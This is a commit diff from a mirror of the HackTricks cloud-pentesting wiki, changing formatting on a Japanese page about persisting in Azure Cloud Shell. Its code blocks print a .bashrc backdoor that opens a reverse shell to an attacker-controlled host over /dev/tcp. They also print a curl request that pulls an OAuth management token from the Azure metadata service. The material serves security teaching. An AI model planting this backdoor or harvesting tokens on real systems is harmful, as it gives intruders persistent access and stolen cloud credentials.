mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-20 08:30:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -10,21 +10,13 @@ Azure Cloud Shellは、永続的なストレージと自動認証を備えたAzu
|
||||
* **Startup Scripts**: .bashrcのようなファイルは、各セッションの開始時に自動的に実行され、クラウドシェルが起動する際に永続的な実行を可能にします。
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
このバックドアは、ユーザーによってクラウドシェルが終了した後でも、5分間コマンドを実行できます。
|
||||
|
||||
さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします:
|
||||
{% code overflow="wrap" %}
|
||||
さらに、インスタンスの詳細とトークンのためにAzureのメタデータサービスをクエリします:
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user